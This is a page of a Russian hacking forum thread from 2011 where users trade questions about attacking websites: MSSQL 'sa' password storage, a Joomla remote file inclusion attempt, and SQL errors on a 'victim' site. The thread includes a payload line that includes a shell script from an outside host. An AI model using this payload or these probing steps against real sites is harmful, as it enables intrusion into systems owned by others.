HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1680 из 2438 « Первая < 6801180158016301670 1676 1677 1678 1679 1680 1681 1682 1683 1684 1690173017802180 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #16791  
Старый 10.04.2011, 13:53
gr[e]y
Новичок
Регистрация: 12.05.2010
Сообщений: 5
С нами: 8421098

Репутация: 0
По умолчанию
Цитата:
Сообщение от Moriarty  
Глукануло апач, и он дал скачать этот файл =)
Не парься, все норм со скриптом.
мне через него фейк пайпала залили на сайт...!
 
Ответить с цитированием

  #16792  
Старый 12.04.2011, 05:40
IMMORTAL_S
Новичок
Регистрация: 29.04.2010
Сообщений: 19
С нами: 8440113

Репутация: 3
По умолчанию
Всем привет... подскажите, где в mssql хранятся пароли пользователя sa? и какой у них тип... ну и как шифруется?

Спасибо!
 
Ответить с цитированием

  #16793  
Старый 12.04.2011, 15:15
Ups
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами: 7941206

Репутация: 0
По умолчанию
Есть занятная RFI в жумле. Пытаюсь поюзать:

mosConfig_absolute_path=http://****.ru/sh.txt?

Код:
Restricted access
 
Ответить с цитированием

  #16794  
Старый 12.04.2011, 15:47
Ups
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами: 7941206

Репутация: 0
По умолчанию
Цитата:
Сообщение от Moriarty  
mosConfig_
absolute
_path !!!
allow_url_fopen =
OFF
Чего-то не понял на счет первого. allow_url_fopen включенный\выключенный=не работает.
 
Ответить с цитированием

  #16795  
Старый 12.04.2011, 17:32
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию
Цитата:
Сообщение от Ups  
Есть занятная RFI в жумле. Пытаюсь поюзать:
mosConfig_absolute_path=http://****.ru/sh.txt?
Код:
Restricted access
Закрыта бага значит :facepalm:
 
Ответить с цитированием

  #16796  
Старый 12.04.2011, 18:44
Ups
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами: 7941206

Репутация: 0
По умолчанию
Цитата:
Сообщение от Expl0ited  
Закрыта бага значит :facepalm:
Дык, старая версия плагина и с багой.
 
Ответить с цитированием

  #16797  
Старый 12.04.2011, 19:18
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию
Цитата:
Сообщение от Ups  
Дык, старая версия плагина и с багой.
Ну вот скажи мне, какая разница между версиями плагина?

Джумла устроена так, что сторонние компоненты лотаются довольно просто, добавлением строчки в начало бажного скрипта:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][/COLOR] 
 
Ответить с цитированием

  #16798  
Старый 12.04.2011, 21:40
Ups
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами: 7941206

Репутация: 0
По умолчанию
Цитата:
Сообщение от Expl0ited  
лотаются довольно просто, добавлением строчки в начало бажного скрипта:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][/COLOR] 
Удалил строчку. Терь ошибки вылетают.
 
Ответить с цитированием

  #16799  
Старый 14.04.2011, 16:39
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 0
С нами: 10992741

Репутация: 0
По умолчанию
Имеется жертва с http://localhost/news.php?do=news&page=2&, Все что следует после 2 обрубается, при подстановке page не int значения или просто пустое выражение вылетает File: /var/www/localhost/news.php

Line: 33

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-15,15' at line 1

Я так понимаю кроме расрытие путей это ничего не дает?
 
Ответить с цитированием

  #16800  
Старый 14.04.2011, 16:45
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию
Цитата:
Сообщение от Lijzer  
Имеется жертва с http://localhost/news.php?do=news&page=2&, Все что следует после 2 обрубается, при подстановке page не int значения или просто пустое выражение вылетает File: /var/www/localhost/news.php
Line: 33
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-15,15' at line 1
Я так понимаю кроме расрытие путей это ничего не дает?
Да, GET-параметро обрабатываеться intval'ом и ничего кроме цифр не пускает. А из-за того, что параметр остается пустой, то SQL-запрос становиться невалидный и вылетает ошибка.
 
Ответить с цитированием
Ответ
Страница 1680 из 2438 « Первая < 6801180158016301670 1676 1677 1678 1679 1680 1681 1682 1683 1684 1690173017802180 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 96 (пользователей: 0 , гостей: 96)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.